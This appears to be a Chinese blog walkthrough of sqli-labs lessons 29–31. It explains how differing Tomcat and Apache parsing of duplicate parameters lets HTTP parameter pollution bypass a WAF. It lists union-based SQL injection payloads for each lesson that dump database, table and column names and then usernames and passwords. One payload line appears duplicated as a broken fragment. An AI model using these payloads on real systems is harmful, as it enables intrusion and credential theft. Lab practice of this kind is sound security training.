sqli-labs通关全解---有关WAF--less29~31--10

文章讲述了服务器采用Tomcat和Apache双层架构时,由于参数解析差异可能导致的安全问题。攻击者可以利用HTTP协议允许同名参数多次出现的特性,构造特定请求来绕过WAF的检测,执行如SQL注入的攻击,进行数据库的爆破,包括数据表、列名以及用户名和密码信息。
摘要由CSDN通过智能技术生成

服务器两层架构

​ 服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务器的是php服务器。工作流程为:client访问服务器能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。

 在与服务器进行交互的过程中,客户端往往会在GET/POST请求中带上参数。通常在一个请求中,同名参数只会出现一次,但是在HTTP协议中是允许同名参数多次出现的。

假设请求为index.php?id=1&id=2,客户端请求首先通过tomcat解析第一个参数,接下来tomcat去请求apache服务器,而apache解析最后一个参数。实际提供服务的是apache服务器,因此返回客户端的是id=2。

下表为数服务器对参数解析的:

web服务器参数获取函数获取到的参数
PHP/Apache$_GET(“par”)Last
JSP/TmocatRequest.getParameter(“par”)First
Perl(CGI)/ApacheParam(“par”)First
Python/Apachegetvalue(“par”)All(List)
ASP/IISRequest.QueryString(“par”)All(comma-delimited string)

HTTP参数污染

如果一个网站只在tomcat服务器处做数据过滤和处理,我们可以利用解析参数的不同,对WAF检

测进行绕过。

攻击payload:index.php?id=-1' union select 1,database(),3--+

union select…会被tomcat服务器识别为恶意攻击并拦截,而如果payload如下:

攻击payload:index.php?id=1&id=-1' union select 1,database(),3--+

n select 1,database(),3–+```

tomcat服务器检测第一个参数后发现无异常,提交给apache服务器。成功绕过WAF拦截

爆破数据库

?id=1&id=-1' union select 1,2,database() --+

爆破数据表

?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

爆破users表的列

?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

爆破用户名和密码

?id=1&id=-1' union select 1,group_concat(username,':',password),3 from users --+

less-30 GET-BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application

该题和上题基本相同,只有闭合方式不同,不同点在于闭合方式不同

只需要通过多次提交参数,就可以实现对WAF的绕过

爆破数据表

?id=1&id=-1" union select 1,2,database() --+

爆破数据表

?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

爆破users表的列

?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

爆破用户名和密码

?id=1&id=-1" union select 1,group_concat(username,':',password),3 from users --+

less-31 GET -BLIND-IMPIDENCE MISMATCH -Having a WAF in front of web application

该题与前面两题相同,但是闭合方式不同

爆破数据表

?id=1&id=-1") union select 1,2,database() --+

爆破数据表

?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

爆破users表的列

?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

爆破用户名和密码

?id=1&id=-1") union select 1,group_concat(username,':',password),3 from users --+

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值